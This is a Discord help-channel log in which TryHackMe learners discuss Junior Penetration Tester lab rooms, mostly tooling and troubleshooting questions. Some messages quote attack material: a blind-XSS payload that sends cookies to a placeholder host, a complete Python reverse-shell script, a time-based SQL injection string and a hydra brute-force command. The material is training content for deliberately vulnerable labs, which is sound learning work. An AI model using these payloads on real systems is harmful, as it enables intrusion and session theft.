#junior-pentester-path

1 messages · Page 6 of 1

placid marten
#

nevermind, found the solution! Simply had to change to a directory where I have rights to write in

crystal matrix
#

so when i refresh the page again it doesnt take it to the admin page

tranquil citrus
#

Hi guys and ladies. Can you recommend any good free vuln scanner? I tried nmap scan and will do it one more time but if there any options?

amber scarab
#

there's a free version of Nessus

tranquil citrus
#

@amber scarab thank you

next lanceBOT
#

Gave +1 Rep to @amber scarab

tranquil citrus
#

Guys and ladies, is it possible that nmap can't find open ports with different types of scans however I know at least HTTP/HTTPS port had to be opened? What can I do in this case to detect open ports?

buoyant sapphire
#

python3.9 is not working ?

tulip torrent
#

@buoyant sapphire What is the output, if you run command python3 -V on kali? Is that version not suitable for your needs?

tulip torrent
tulip torrent
# buoyant sapphire 3.11

Could you use that version? Like

python3 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share

I'd think Impacket scripts would work with it.

buoyant sapphire
buoyant sapphire
tulip torrent
#

Perhaps the script would have to be executed as super user rights, if you're binding the smbserver to port below 1000?

buoyant sapphire
#

I am already running as a root user

tulip torrent
#

Ah yes.. Are you using your own Kali or an attack box? Just checked the attack box and saw that it doesn't have impacket directory at /opt/impacket/. 🤔

#

@buoyant sapphire Would this work?

impacket-smbserver -smb2support -username THMBackup -password CopyMaster555 public share
tranquil citrus
tulip torrent
tranquil citrus
next lanceBOT
#

Gave +1 Rep to @tulip torrent

buoyant sapphire
tulip torrent
#

@buoyant sapphire If you want, you can DM about this if you still have the problem. Sounds like eyes on the terminal could help figuring this out. :) I got quite a bit interested about this.

buoyant sapphire
#

Whom do I have to DM. and you completed the jr pentester testing path ??

tulip torrent
#

You can DM to me in Discord, though I have to say I'm not staff of THM. I'm just a subscriber wanting to help other people. Quite almost, I'm missing few last steps on Win Priv.Esc. I did however try the problematic phase with attack box and successfully managed to launch the Impacket SMB server. :)

polar jolt
#

Hello, I am doing linux privilage escalation: Cron Jobs. The problem: I am not getting reverse shell. The things I tried: create test.py in tmp directory and change backup.sh in karen home folder. Just as a test I ran it and it looks like syntax is correct since im getting reverse shell (ofc not as root). What could be the problem?

#

nvm solved it its because I didn't mark it executable

fossil lake
#

The LFI Challenge 1 is kicking my ass. Everytime I use BurpSuite to send a request to change the POST I don’t see the flag. What am I doing wrong?

tranquil citrus
#

If I remember correctly I used curl to send POST

tulip torrent
#

@fossil lake Are you doing the File Inclusion room, Task 8 Challenge and trying to read /etc/flag1?

shrewd karma
#

Has burp suite been redesigned in the past few years?

tulip torrent
#

Just trying it out, managed to get /etc/hosts and such files but not the flag. Just thinking there could be a target machine side problem, though I cannot be sure. Or the flag1 is intended to be achieved in different way.

E: Got it. Lol got my way into terminal on that machine before I realised I was looking at the wrong page, heh.

tulip torrent
#

@fossil lake

So, you're at the page /challenges/chall1.php right? I'd suggest trying || to send the POST request from browser, by manipulating the form on the page || :)

tulip torrent
#

I suspect that the reason why only changing the type from GET to POST on BurpSuite may not work, is that if you intercept a GET request (and change get to post in text), it does not contain a very relevant thing for the web server backend: the header Content-Type: application/x-www-form-urlencoded.

You can open your developer tools on the browser (iex. right mouse click the web page and select "Inspect", or press F12 on keyboard). Find the form in the HTML source code and change the relevant thing there. You'll find a n ||HTML form element that contains attribute with value of "GET"||.

pseudo pawn
#

hi guys, I'm doing the Metasploit Exploitation room and I keep getting this message. Did I miss something ?

tulip torrent
pseudo pawn
next lanceBOT
#

Gave +1 Rep to @tulip torrent

fossil lake
#

@tulip torrent IT WORKED THANK YOU

next lanceBOT
#

Gave +1 Rep to @tulip torrent

feral vapor
#

@tulip torrent Yeah, ty! I used to much of my time in burp for this lol

visual otter
#

hey guys, nice to meet you all!

olive robin
#

Hi, starting this today !

fleet hemlock
#

I'm wondering does the Practical example (BLIND XSS) on the last task 8 bugged or something ?

#

even in Attack the box still did not receive any encoded cookie on the netcat terminal ):

#

cuz I try from my own vm and the THM machine same issue NotLikeThis

noble fable
#

Hi, anyone got idea how i can change my name that's on my certificate?NotLikeThis @tiny bluff

tranquil citrus
noble fable
#

😆 cheers mate. it would be my last resort.

remote iris
#

Well, that is your option, other than creating a new account and doing it all again.

trail forge
#

Hi guys nice to meet everyone

#

Just finished lfi rfi

#

The file inclusions challenge really burned me

#

😅

tranquil citrus
#

It really was tough task

trail forge
carmine needle
#

hey guys, im doing "active reconnaissance" task 6 netcat, but i dont get any response by the terminal when using nc ip port on my vm else on the attackbox, any ideas?

#

ok, seems like i overread the question and tried port 80 insteat of 21... ^^

light dirge
#

Hi everyone, I have some issues with the task5 Linux Escalade,
When I have uploaded the exploit "37292.C" and compile it gcc 37292.c -o Ofc
I have a message error, i really don't understand, someone can help me ?
Thanks

prisma raptor
light dirge
next lanceBOT
#

Gave +1 Rep to @prisma raptor

light dirge
#

So like you said it's better if I compile it from the target like that I'm sure that I have the same version of gcc?

prisma raptor
#

That is correct. You can also check if gcc is installed on your target first, otherwise, you would have to look for another exploit.. or look for something written in python or any other language for that matter

fluid cove
#

socat is so confusing with the many syntax. gosh

tranquil citrus
#

Hi guys and ladies. Any useful tricks for blind XSS? I mean what can I do to research and get something valuable from web form susceptible XSS vuln? Maybe useful tools like XSSHunter can help? Or you found GitHub repo with useful payloads?

heady wing
#

So I'm kinda confused about SSRF Task 2, I managed to get the flag but I'm not really sure why this particular appendage to the url for the attack works, could someone please explain to me why this results in the flag?

vast barn
#

Any one could explain me task 4 from "Authentication Bypass". I followed the steps and get the final flag. But I don't understand how will I know when there is this kind of vulnerability. I mean, how do I know there is a PHP variable $_REQUEST which is used to send the reset url?

Second question. If the final step is a POST request, why the curl is not using the -X POST method?

gray nimbus
# vast barn Any one could explain me task 4 from "Authentication Bypass". I followed the ste...

For your first question : The use of the $_REQUEST variable in PHP is not in itself a vulnerability. The vulnerability arises when the application does not properly validate or sanitize user input that is passed through this variable. To identify this kind of vulnerability in an application, you would need to perform a thorough security assessment of the application.

For your second question : The curl command used in the challenge does not specify the -X POST method because curl defaults to making a POST request when it sees the -d parameter, which specifies the data to be sent in the request body.

gray nimbus
next lanceBOT
#

Gave +1 Rep to @gray nimbus

rigid citrus
#

can someone help me with this

#

./code: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./code)

neat hazel
rigid citrus
#

ok

#

thanks

neat hazel
#

it's issue with compatibility on local VM. the THM machine is set up to that work

rigid citrus
#

will try now , thanks

neat hazel
#

np

tranquil citrus
#

Good day guys and ladies. In Jr. Pentester Path was mentions about quite sophisticated Nmap scans technique called Idle/Zombie scan but I'd like to have deep dive to it. For example I can't find answers to my question like 'how to find zombie for this scan' or 'is it possible to combine zombie scan with decoys'. I appreciate any useful article about this topic.

dry storm
#

Hi. Got an issue in Metasploit: Exploitation, task 2. What can I do? I set the right RHOSTS parameter and I got an error. What's wrong?

trail forge
#

Hi.In net sec challenge (social engineering ftp password)this task is taking a long time and it's still running

remote iris
trail forge
#

Task2

#

Netsec Challenge

amber scarab
trail forge
#

Attackbox

#

Will terminate and restart it again

dry storm
zealous dew
trail forge
#

hydra -v -l usernamefile -P passwordfile ip ftp -s portno

amber scarab
zealous dew
trail forge
#

I have put the two names in a text file😅

zealous dew
#

Oh okay, I believe the flag when you use a file for the usernames is a capital letter -L

trail forge
#

Thanks

#

Got the password

zealous dew
#

Great 🙂

trail forge
#

💪👍

dry storm
next lanceBOT
#

Gave +1 Rep to @amber scarab

amber scarab
fleet hemlock
#

Hello guys I hope u all doing fine

#

I just want to know does anyone finish the SQL Injection and the task8 to be more specific?

#

I learned a lot today (;

fleet hemlock
#

but I still struggle in the task 8 ):

#

I found the schema table and the table name

#

and that is what I wrote to find the COLUMNS schema(name)

#

' UNION SELECT SLEEP(3),2 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA= 'sqli_four' and TABLE_NAME = 'analytics_referre_s' and COLUMN_NAME like '%';--

#

but it says OK ! even tho I did not defined the first letter after the COLUMN_NAME like '%';--

tranquil citrus
#

I doubt about table name. More logical name will be analytic_referrences. You can do back one step and try to retest table name first.

modest arch
#

Hey, Has anyone completed the Pentesting tools series? I'm struggling with John the Ripper > https://tryhackme.com/room/johntheripper0 < I can't seem to get John the Ripper working in Linux debian 11 so my only option is to use the Attackbox on tryhackme, is this possible? we are asked to download the hash.txt files and I can locate the files easily on my personal computer using Linux but I'm thinking about how do I locate the hash.txt files using Linux in Attackbox via tryhackme.

zealous dew
#

if you're subscribed you can start a python server on your Linux machine, and use wget to transfer the files to the Attackbox

prisma raptor
zealous dew
#

but it would be the opposite in this case? server on the local machine and they could get the files that way

prisma coral
#

Hello guys ! I have a question in the room File inclusion > Challenge > flag3. With the command curl, i find the flag, but in using the inspector of firefox, it doesnt work. How it is possible ? In the 2 cases, i do the same ( sending a post request)

modest arch
next lanceBOT
#

Gave +1 Rep to @zealous dew

trail forge
#

Hi guys just at the end of the course .can you guys suggest me for some practice after the Jr pentester course

#

Any boxes,machines or a list

calm cedar
#

What path should I pursue next the Red Teaming or Offensive ? I just finshed the JR pentest

fleet hemlock
fleet hemlock
#
  • sometimes if it's not always when I write _ it says true and IDK why (:
#

I think task 8 in SQLi have some logical error but I need to understand it ):

tiny venture
#

hi, I'm in the content discovery room on the jr pentester path, and the attack box is giving me an error 405

#

unsure if I need to be here or if I need to be tech support

amber sail
#

Hi! I'm on Wireshark 101 and I'm doing Task 12, which is HTTPS Traffic. The last question,What is the User-Agent listed in packet 50?, won't let me put in the the answer in the correct format. I found the answer on online but the format is different from the answer box. Do anyone know the correct answer to that question?

earnest burrow
#

Are the Nmap and hydra rooms in CompTIA redundant if you've already done junior pentesting?

eternal lintel
#

they are different

vivid narwhal
#

@amber sail if you inspect the page at the answer box, usually you can find evidence of the formatting of the answer but you have to dig in there a bit. Also the hint box sometimes shows what format it expects but if you're asking, you probably tried that already.

amber sail
stoic jackal
#

Anybody have any suggestions on how to consistently access or at least fix the victim IP address when completing rooms? For example, I'm having issues with the LFI room (https://tryhackme.com/room/fileinc) and every time I spin up the machine and attackbox, I still can't get the IP address of the machine I'm supposed to attack, even after a refresh

#

In this particular room, the link in question is http://webapp.thm/get.php?file=/etc/passwd . I'm waiting for the domain "webapp.thm" to change to an IP address, but it doesn't. Even if I type as is in the firefox browser, it times out as I expect it. So I assume that the domain is supposed to change to an IP address. Am I wrong?

zealous dew
#

that's only an example, the machine to deploy is in task 2 and this is the link that will change to the IP

stoic jackal
next lanceBOT
#

Gave +1 Rep to @zealous dew

zealous dew
#

You're welcome 🙂

mellow raft
#

Hello! Just attained my Jr. Pentest Cert from THM. I have a solid background in IT and I'm looking to take my skills to the next step. Would I go for an industry standard cert like CEH or would I start looking for real world experience, and if so how?

modest arch
#

So I'm doing Linux Privilege Escalation, Task 5

I've gotten to the point where I transferred the kernel exploit from my local machine to the target machine, and now I need to convert the file with the gcc command. I do that and I get a huge list of errors that are within the exploit itself. Is this supposed to happen? Am I supposed to debug the entire exploit source file, because I'm not at that skill level lol

Or is there something going on?

The syntax I'm using is:
gcc exploit.c -o exploit

modest arch
#

I figured out what was going on

When I ran wget on this exploit-db page, I wasn't importing the actual exploit, I imported the source code of the webpage itself. So the exploit wasn't working when I was trying to run it. Replaced the web source code with the exploit source code on exploit_db and it worked

Mistake made, issue resolved, lesson learned

gentle whale
#

what is the correct value for the cookie?

blissful fjord
weak karma
#

Hi guys Im doing linux PrivEsc module and currently on the NFS section. Im trying to run my compiled binary from the mounted directory and it says that the glibc version that is used to compile the binary (GLIBC_2.34) is not found

dry storm
#

Hi Guys. I'm stuck in What the Shell room, task 13, Question 7.
I have to login over RDP. But I have no idea to achieve that. Could anyone help me?

prisma raptor
#

I think that is Task 8 as 7 is getting a reverse shell using Powershell

dry storm
#

Well I have searched on the net and found Remmina or xfreerdp. So you advice me to install Remmina on the my attack box?

prisma raptor
dry storm
#

I've done the reverse shell by Pwoershell. But I d'ont know how to login

prisma raptor
#

Did you try to compile it on your target instead

dry storm
#

Compile what?

prisma raptor
dry storm
#

Sorry

prisma raptor
#

If you are, you need to install Remmina on your kali VM, I think this is already pre-installed on the Attackbox if I remember correctly

dry storm
#

I created a user with the revere shell and I don't know how to process the login

prisma raptor
#

You can use Remmina (GUI option) or xfreerdp (CLI option).

dry storm
prisma raptor
#

Or if you are in your kali VM, you can find install instructions in Google.

dry storm
remote iris
#

It's pretty straight forward, open Reminna and enter the ip, it will then ask for the credentials

next lanceBOT
#

Gave +1 Rep to @remote iris

dry storm
#

@remote iris Pretty straight forward, I agree. Thanks a lot. I worked.

next lanceBOT
#

Gave +1 Rep to @remote iris

dry storm
#

@prisma raptor Thank you for your help. I logined sucessfullly

prisma raptor
deft anchor
#

authentication bypass module ffuf

#

I specified -u but it keeps giving me this error

vast barn
#

Question. After doing the last question of Cross-Site Scripting (Practical Example (Blind XSS)), in the final task you have to insert this xss:

</textarea><script>fetch('http://{URL_OR_IP}?cookie=' + btoa(document.cookie) );</script>

And stay listening in netcat: nc -nlvp 9001

Question is: Why this only work when you do it in an attack machine and not in my own VM? I was not able to recieve any request to my Netcat in my VM (in attack machine yes). So I would like to understand why because in the real world I wont use the attack machine

feral shard
#

I find this path a bit weird as somehow it requires you kinda know burp suite and some other things before you get to that part ^^

remote iris
#

For example, I'm able to do it on my VM.

river imp
feral shard
#

well it's ok. I've done all of that in a faraway past. Just seemed a bit "off" within the course

prisma gyro
#

Hi everyone!

#

Is someone there who has already finished this room?

remote iris
#

This is a channel dedicated to the path.

#

If you need help with specific room, just ask

prisma gyro
#

Actually a have a couple of questions

#

1 RFI / LFI challenge 3. I couldn’t use null byte. Which way should be right?

#

2 What is the best way to improve knowledge after theory?

amber scarab
prisma gyro
#

Unfortunately it didn’t work

#

Neither %00 nor 0x00

#

I changed type of request to POST, and put data in text field

#

Browser url could send only GET

amber scarab
#

try burp

prisma gyro
#

Burp is the next level)

amber scarab
#

alternatvely, it can work from the dev tools

prisma gyro
#

I have finished that with RFI, but it seems to me it should be LFI

#

How can dev tools help me avoid .php?

amber scarab
#

dev tools can help you edit the request to POST and make sure the nullbyte is sending correctly

prisma gyro
#

As I mentioned previous, I had changed request to post, but null byte still did not work

amber scarab
#

how did you change the request?

prisma gyro
#

Inspect page, in input

#

Maybe I should do something else?

amber scarab
#

what's probably happening is the % in the nullbyte is getting url encoded to %25
after you send the request, have a look at it in the network tab in devtools. if it ends with %2500 instead of %00 then edit and resend the request deleting the 25

prisma gyro
#

Thank you, maybe it is

#

By the way, null byte works only on old php versions. Don’t you know if there way for a new one?

#

Or maybe another approach?

amber scarab
#

I was just wondering the same thing after seeing that note in the exercise, but the answer is out of my league for now 🙂

prisma gyro
#

Php compiler or pure c Lang should know the answer, maybe later I will do a little research

prisma gyro
#

it seems I have found

feral shard
#

the "why" behind this i don't understand myself

#

tried to look for some explanation online, and i came across some write-up of the room where they changed all the settings in burp...
So i'm guessing maybe browser behaviour changed in the meantime or something ?

prisma gyro
#

I think the problem was in browser encoding. I still have not started burp using

feral shard
#

oh yea probably then as well

#

because if you add it to the url-bar, it will be a get request

prisma gyro
#

Even with post null byte didn’t work

feral shard
#

myea burp then

#

or postman i guess even

#

but burp will be easier

prisma gyro
#

It sounds interesting… I will learn burp soon

lone pewter
#

I'm trying to create and than print out the cookie, but somehow cookie is not even created, I can't see it both on the page and in devtools🤔

<html>
<head>
    <script type="text/javascript">
        document.cookie = "username=John Doe; expires=Thu, 31 Dec 2023 12:00:00 UTC";
    </script>
</head>
<body>
    <script>
        window.alert('XSS'); //this works
    </script>
    <h1>COOKIE:
        <script>document.write(document.cookie);</script>
    </h1>
</body>
</html>

What am I doing wrong?

prisma gyro
#

Did you try to do that I header?

#

In header I mean, dev tool

prisma gyro
#

By the way, as I remember, there has to be entry point in JavaScript, like document.load event

mint citrus
#

Hi there, i am having the same issue with the IP http://MACHINE_IP/about/2 on Task 8 - Extra Mile SQLi with Repeater of BurpSuite: Repeater
could you please give it a view / thank you in advance

rustic totem
#

@shadow echo

stuck topazBOT
#

Done!

oak dirge
#

what the problem here

#

i have added the user but cant rdp with that username and pass

feral shard
#

do they have enough rights?

#

being able to create a user doesn't mean they can rdp

#

also .. isn't it administrators ?

#

in stead of administrator

#

it is ....

digital cape
#

Time to learn red stuff. Hopefully everyone's enjoying this path. I basically know nothing about red team things so I'm excited to be here and learn everyone here. I'm grateful I'm on the junior pentester path with you all.

tranquil citrus
#

The good question is what can I learn after Jr. Pentester Path?

tulip torrent
#

@tranquil citrus Do you mean generally, or like which path to go after Jr. Pentester?

tranquil citrus
#

I mean which path it's possible and will be good to enroll after Jr. Pentester.

#

I've been thinking which path to enroll next.

tulip torrent
#

@tranquil citrus Well, that depends on what you would like to learn and where you want to head to in the field of cyber security. I think many people enroll to Red Teaming or Offensive Pentesting after Jr. Penetration Tester path.

Red Teaming, as the name implicates, provides information about Red Teaming and a bit from the perspective of cyber security exercises too; How Red Teams act, what is the purpose of Red Teaming, how to plan RT exercise, and teaches many techniques used during those exercises.

Offensive pentesting on the other hand is about attacking different kinds of targets and has challenges for buffer overflow exploitation.

Something those paths have in common, is the Active Directory module. About those buffer overflows I've got an impression that if you don't have experience about them, they may be a bit tedious task.

Go with whatever you feel is interesting or supports your goals in cyber security. 🙂

tranquil citrus
#

@tulip torrent , thank you for description

next lanceBOT
#

Gave +1 Rep to @tulip torrent

tranquil citrus
#

Congrats me, I finished Jr. Pentested Path.

amber scarab
tranquil citrus
#

Thank you

prisma gyro
#

@tranquil citrus how long it has been?

tranquil citrus
prisma gyro
#

Thank you

#

I am stuck on burp suit, lately I have too little time (

tranquil citrus
edgy thicket
#

I am also on Burp suite section so far probably my favorite as of now.

prisma gyro
#

Why is it your favourite?

idle bison
somber shard
#

hello

#

i need help

#

and i can't upload the picture !!

carmine orchid
#

!docs verify

tiny bluffBOT
somber shard
#

don't appear to me

#

i see only the note.

carmine orchid
carmine orchid
prisma coral
#

Hello guys, i have a pb in "Vulnerability Capstone". I cant run the exploit, when i do python exploit.py (IP/--help). Someone can explain me please

shut stirrup
#

Hello guys, I am doing the "Linux Privilege Escalation" box and in Cron jobs section the backup.sh worked fine after I made it executable. But using the /tmp/test.py is not working. I created the test.py with following content and made it executable.

import socket
import os
import pty

def run_shell():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("IP", PORT))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    pty.spawn("/bin/sh")

if __name__ == "__main__":
    run_shell()

But not getting the shell?

gloomy snow
#

You should specify the IP and port

gloomy snow
prisma coral
#

Its ok, it was a problem of compatibility with python3. I didnt anderstand everything but its work

#

I suppose that the script is too old

haughty mantle
#

Module: introdution to web hacking
Section: Subdomain Enumeration
Task 6: Virtual Host

I tried using the provided code template "ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://MACHINE_IP" but didn't get the expected result. If someone has already done it, please help me

restive sage
haughty mantle
prisma coral
#

What it return?

restive sage
#

can you see ffuf doing anything? does it list thousands of subdomains or nothing at all?

sharp vessel
#

Hi, I'm stuck on the very last question in https://tryhackme.com/room/fileinc - I'm supposed to use RFI, but can't manage to make it include remote files. It doesn't even try to access them. Would appreciate some guidance here

shut stirrup
bright star
#

hi guys, I am going last task in XSS block, so I am entering in text box "</textarea><script>fetch('http://localhost:9001?cookie=' + btoa(document.cookie) );</script>" . But nc doesn't receive any request, tho is I will open the ticket - I will get my cookies. So I can say that script is correct. How did you solve this task? I use machine, offered in the task.

restive sage
bright star
restive sage
#

the ip of your own machine

#

or well the attackbox if you are using that

restive sage
shut stirrup
#

I am doing the task 11 (Linux priv). Now, when I am running the thm on the karen machine it is giving this error

./thm: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./thm)

How do i solve this?

prisma gyro
#

Hello everyone! I have a stupid problem in BS module, “Practical example”. I have used both usernames and passwords list, pinchwork type, but I got the same content length (674). No exceptions. What did I wrong?

prisma gyro
#

Pure c is very difficult language)

shut stirrup
#

Code is fine I guess.

prisma gyro
prisma gyro
#

I can be wrong, I have been studying pure c about 9 years ago

idle bison
#

It's a dependency issue

#

@shut stirrup Your attacking machine and your target aren't close enough, they're using different glibc versions. You can compile statically, or compile on the target machine, or spin up a VM with the same version to compile on

shut stirrup
#

target machine does not have gcc. Will spin up the Attack box. Hope that works

prisma gyro
idle bison
#

I cannot

shut stirrup
next lanceBOT
#

Gave +1 Rep to @idle bison

prisma gyro
#

Reboot solved my trouble

sharp vessel
# restive sage what have you attempted so far?

More or less everything that I did in the previous labs in that room. I've spent hours trying to understand what works and what doesn't. So far I know:

  1. using http:://machine_ip/[whatever here] works, but not https
  2. replacing machine_ip with localhost above works too
  3. I get a different error msg if I try to read a directory that exists, so I know that etc/php/ exists but haven't been able to drill down further to find the php.ini
  4. So far no success at all on attempting to access a file outside its own network. From what I can tell, it didn't even make such a request
haughty mantle
inner gust
next lanceBOT
#

Gave +1 Rep to @shut stirrup

restive sage
restive sage
sharp vessel
#

I set up a file on host server, tried both with a txt-file (with php code), and .php-file that would execute already on my server so I'd be notified if it was accessed. It wasn't

haughty mantle
restive sage
restive sage
sharp vessel
restive sage
#

oh, you are supposed to host it yourself on the attack machine that is in the same vpn as the vulnerable machine, the vulnerable machine might not even have real internet access

haughty mantle
next lanceBOT
#

Gave +1 Rep to @restive sage

sharp vessel
#

ah, the vulnerable machine... got it, I should have connected the dots. makes so much more sense now

#

thanks a lot! 🙂

haughty mantle
#

Module: Authentication Bypass
Task 5: Cookie Tampering
Question: What is the flag from changing the plain text cookie values?

Based on the information "Set-Cookie: session=eyJpZCI6MSwiYWRtaW4iOmZhbHNlfQ==; Max-Age=3600; Path=/", I decoded the base64 and obtained {"id":1,"admin":false}; I modified it to {"id":1,"admin":true} and encoded it back to base64, resulting in "eyJpZCI6MSwiYWRtaW4iOnRydWV9". However, when I used the command: curl -H "Cookie: session=eyJpZCI6MSwiYWRtaW4iOnRydWV9" http://10.10.153.107/cookie-test, it still says "Not logged In". Can anyone help me?

light dirge
#

hi everyone,

i have some issues with task 11 Linux escalade ,

"./nfs: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./nfs)"

I have understand that i need to update GLIBC (on my machine) or have the same version than on victime machine.

But how can i have the same GLIBC ?
I can't create my file directly on share because i can't compile it
there is something i don't understand someone can help me ?

Thanks

restive sage
restive sage
light dirge
#

okok i ll do it with attackbox it's easier for me
thanks a lot for your help

prisma gyro
#

Hi everyone!

#

I am discovering Barp suit Intruder, an I have no idea about the next:

#
  • when did we get param for “loginToken”? GET /login/admin doesn’t have the one. So what do we get to replace in post?
#
  • as was mentioned, if we had response at the same page, we could use recursive grap. In which way? From where we had to extract them?
prisma gyro
#

Looks like I get answer for first question

prisma gyro
#

Also I have noticed that in results, sessions cookies are changed only in response. Not on request. It’s a bit strange for me

modest arch
#

Hi, everyone! When starting as a beginner pentester, is kali Linux image suitable or should I use it as a main OS? Thanks for replies!

haughty mantle
restive sage
#

Maybe I’m mixing it with another room but do you maybe have to change the id too?

remote iris
#

Have you been taking notes?

haughty mantle
restive sage
#

I remember doing the lesson and I don’t think I had any problems

#

I think I set the cookie manually in Firefox and refreshed and that was it

prisma coral
#

@bright cipher the worst thing to do when you learning is to think about the time lost

amber scarab
#

Note takingreally saves time in the long run, not only do you retain more but if you have forgotten something it's much faster to refresh your memory by looking at your own notes than going back through entire lessons or videos to find the key information. It's also good practice for actual pentests where you will will constantly be taking notes as you work.

But keep in mind, this is a very complex field - watch videos of people who are excellent at this and you'll notice them forgetting or making mistakes on common commands. No one expects you to have everything 100% in memory. The key is to understand the main ideas and know how to find more information efficiently when you need it. Also, don't forget that it's not unlike learning a language or a sport- practice, practice, practice. There simply is no quick and easy to getting good at it.

I remember being surprised early on by the suggestion of watching a walkthrough of a box and then doing it on your own a few days later. It felt like it would be far too easy after just a couple of sleeps to repeat what I had watched someone else do. Oh how wrong I was. 😄

In short, I think one key to protecting your mental health is managing expectations: learning this is difficult but doable, it will take time, focus on what you have learned instead of what you have forgotten, and be kind to yourself.

modest arch
#

I've noticed alot of rooms re-address content you've done before as well, so no need to get too anxious about memorizing every little thing

haughty mantle
tranquil citrus
haughty mantle
tranquil citrus
haughty mantle
#

I have added the cookie but still cannot log in. Could you please take a look and help me troubleshoot?

restive sage
haughty mantle
restive sage
#

you are too far then, you are supposed to set the cookies from the beginning of the section without any base64 stuff

#

base64 stuff only happens in the 4th question

haughty mantle
restive sage
#

the solution is basically already in the lession in the CURL 3 box

#

you can use curl or set the two cookies in firefox directly

haughty mantle
restive sage
#

without the {

haughty mantle
#

Great!!!So, it's actually simpler than what I had been thinking. Thank you very much, love you blobheart

restive sage
#

yea you were trying the harder thing already lol

haughty mantle
restive sage
#

try doing it with burp, if you do it like this the %00 gets urlencoded to %2500 and wont get rid of the .php anymore

haughty mantle
restive sage
#

you can do it with curl too

#

its just when you do it like you are doing now you are actually sending %00 instead of the null-ascii character that %00 is supposed to represent

haughty mantle
restive sage
#

-b is for cookies, you should look up the two parameters needed to send a curl request as POST and how data is sent by curl when using POST

#

or you can send the post request in firefox, find it in the network tab and then rightclick -> copy to curl

haughty mantle
restive sage
#

you probably have to url encode your post data (make sure not to url enocde the %00, that is already encoded) and then set the Content Type header to let the server know it is url encoded.

haughty mantle
restive sage
haughty mantle
tranquil citrus
#

Hey guys and ladies!
Have you ever saw that nmap discovered same quantity of ports but every time with different port numbers on Stealth SYN scan?

gloomy bane
#

Can I start doing machines right away or should I complete the Junior Pentester learning path first?

prisma raptor
gloomy bane
#

Well then. Maybe I'll try some later this day. Thank you. 🙂

carmine needle
#

question: im into the net sec challange in network security, question:

How many TCP ports are open?

#

i would say 5

#

What did i wrong?

sage current
# carmine needle What did i wrong?

by default nmap only scans the 1000 most commonly used ports.... but there are 65 535 ports and therefor a huge chance to miss some if you do not scan all ports.... look into the -p option for nmap

carmine needle
#

@sage current ok ty

next lanceBOT
#

Gave +1 Rep to @sage current

carmine needle
#

so i should scan -p 0-65535 to do not miss one?

sage current
#

still seems like you found the missing one now

#

there is also the nmap min rate option or the -T4 or -T5 to speed it up

carmine needle
#

yes, other question: there stand "65530 closed ports" but they show 6 open ports, so there should be 65529 closed ports, or not?

#

or do i have a missunderstanding? ^^

#

@sage current ty

next lanceBOT
#

Gave +1 Rep to @sage current

sage current
wet reef
#

Hey, Im on Linux Privilege Escalation : SUID, and nano should have an s-bit set so I can read /etc/shadow etc, but it hasnt...

#

Did I miss sth?

zealous dew
wet reef
#

ah ok, thanks :)

wispy plume
#

Hello i need help Authentication Bypass task 3 . I dont get the usernames and passwords

median garden
#

0

amber scarab
#

which didn't show when I used cat to check the list

azure pivot
maiden bay
#

Hi..could u help me guys..
When I try to connect with shh tryhackme@iptarget, there is "permission denied (publickey)"..

amber scarab
maiden bay
#

Jr pentester/content discovery

#

It result the same when I use shiba1@iptarget

amber scarab
#

I don't see anywhere in those modules where you would need to use SSH

#

are you trying to connect from a virtual machine ?

gloomy bane
#

BURP SUIT QUESTION --- Hi, can somebody please explain to me how exactly do I read the Burp Sequencer output? The whole graph thingy and the stuff about bits and stuff. Thanks guys.

maiden bay
winged brook
#

OWASP Juice Shop | Task#6: Question #2: View another user's shopping basket!: I have changed the parameter to basket/2, even though I could see other user's Rasberry juice order, but the flag is not appearing, I tried to relogin to admin account, but to improvement

#

*no improvement

clever crown
#

Bruh i feel like this is a rabbit hole the creator intentionally did
in Windows Privilege Escalation -> Abusing vulnerable software

modest arch
#

hooray complete this path

restive drum
#

Burp Suite Intruder Task 10. Input the word lists and ran. Attack has completed but found no success. Is this a bug? Currently trying the cluster bomb attack in case it's mixed a username/password during its build.

amber scarab
amber scarab
amber scarab
restive drum
#

I have mine setup like this, and tried it several times. All requests respond with 302 status and size 674.
Just terminated the machines and gone again. It has worked this time 👍. Thank yoi

amber scarab
half elbow
#

Hello, how to start pentesting? I am new here !

ashen fiber
#

hi @half elbow , you can do some tryhackme rooms, and to unlock all the content, you can buy to have all unlimited

thick crater
ancient marlin
# clever crown Bruh i feel like this is a rabbit hole the creator intentionally did in `Window...

gpedit.msc -> computer config -> policies -> windows settings -> security settings -> account policies -> password policy -> password must meet complexity requirements

When enabled, this setting requires passwords to meet the following requirements:

Passwords may not contain the user's samAccountName (Account Name) value or entire displayName (Full Name value). Neither of these checks is case-sensitive.

https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/password-must-meet-complexity-requirements

clever crown
next lanceBOT
#

Gave +1 Rep to @ancient marlin

somber shard
#

can you help me to fix it ?

clever crown
# somber shard can you help me to fix it ?

the tool is for searching public information (OSINT) of the domain on the internet,

you were testing against a local domain which have no access to the internet (THM machines cannot access WAN), so it won't leave any records on OSINT sources, thus you can't get any result.

Try to use the tool on some public domains and it will work

digital lynx
# somber shard

I tried my best to fix this tool, for me it didn’t work with any domain, no matter how popular, I tried removing the virustotal portion of code, etc. in my research I found people with the same issue dating back to 2021, no fixed have been proposed, so it seems the tool is simply deprecated.

clever crown
#

I see, subfinder from Project Discovery is a good alternative though

dawn kestrel
steady sun
#

Start the attached VM from Task 3 if it is not already started. On the AttackBox, open the terminal and use the telnet client to connect to the VM on port 80. What is the name of the running server?

what am i doing wrong

amber scarab
steady sun
amber scarab
#

ah yes, that's the problem then. when you put telnet IP PORT it establishes the connection and then waits for you to tell it what to do

steady sun
#

gotcha thanks @amber scarab

next lanceBOT
#

Gave +1 Rep to @amber scarab

amber scarab
#

no problem! happy hacking 🙂

somber shard
#

can u explain to me why email=x , password=x ,cpassword=x what 's does it mean x ? and tell me why we are usually adding additional headers to the request.??

tranquil citrus
median garden
#

@turbid patio you there?

#

did you get the priv esc on 9?

